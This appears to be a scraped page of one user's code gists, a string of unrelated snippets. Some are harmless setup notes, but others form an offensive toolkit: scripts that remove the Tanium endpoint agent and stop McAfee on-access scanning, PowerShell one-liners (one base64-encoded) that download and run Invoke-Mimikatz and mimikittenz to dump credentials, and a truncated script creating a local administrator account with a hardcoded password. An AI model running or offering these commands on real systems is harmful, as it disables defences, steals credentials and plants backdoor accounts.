jermdw

Get-EventLog -LogName Security -Newest 1 | ConvertTo-Json

jermdw

#!/bin/bash
 
if [[ $(/usr/bin/id -u) -ne 0 ]]; then
     echo "Not running as root or using sudo"
     exit
fi
 
launchctl remove com.tanium.taniumclient > /dev/null 2>&1
rm /Library/LaunchDaemons/com.tanium.taniumclient.plist
rm -rf /Library/Tanium/

jermdw

method 1

sudo /usr/local/McAfee/AntiMalware/VSControl stopoas

alternatively

sudo defaults write /Library/Preferences/com.mcafee.ssm.antimalware.plist OAS_Enable -bool False
sudo /usr/local/McAfee/AntiMalware/VSControl stop
sudo /usr/local/McAfee/AntiMalware/VSControl reload

jermdw

KEYBINDINGS
       byobu keybindings can be user defined in /usr/share/byobu/keybindings/ (or within .screenrc if byobu-export was used). The  common  key  bindings
       are:

       F2 - Create a new window

       F3 - Move to previous window

       F4 - Move to next window

jermdw

<?php

$compressed = array(
	".0"	=>	"Hacha Split Archive File",
	".000"	=>	"DoubleSpace Compressed File",
	".7z"	=>	"7-Zip Compressed File",
	".7z.001"	=>	"7-Zip Split Archive Part 1 File",
	".7z.002"	=>	"7-Zip Split Archive Part 2 File",
	".a00"	=>	"ALZip Second Split Archive File",
	".a01"	=>	"ALZip Third Split Archive File",

jermdw

Keybase proof

I hereby claim:

• I am jermdw on github.
• I am j3rmbadger (https://keybase.io/j3rmbadger) on keybase.
• I have a public key ASCoErRfDfwHFMJgFz0TA8KTZR-AP8T_Fgmd55sMDr75rAo

To claim this, I am signing this object:

jermdw

# Fix NPM permissions
# https://docs.npmjs.com/getting-started/fixing-npm-permissions
# 20170827

mkdir ~/.npm-global && \
npm config set prefix '~/.npm-global' && \
echo "export PATH=~/.npm-global/bin:$PATH" >> ~/.zshrc

jermdw

#!/bin/bash
# run from $HOME

mkdir -p go/src/github.com/jacobiusg/hello &&
curl -o go/src/github.com/jacobiusg/hello/hello.go https://raw.githubusercontent.com/golang/go/master/doc/play/hello.go &&
go run go/src/github.com/jacobiusg/hello/hello.go

jermdw

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

jermdw

$Username = "su"
$Password = "password"

$group = "Administrators"

$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }

if ($existing -eq $null) {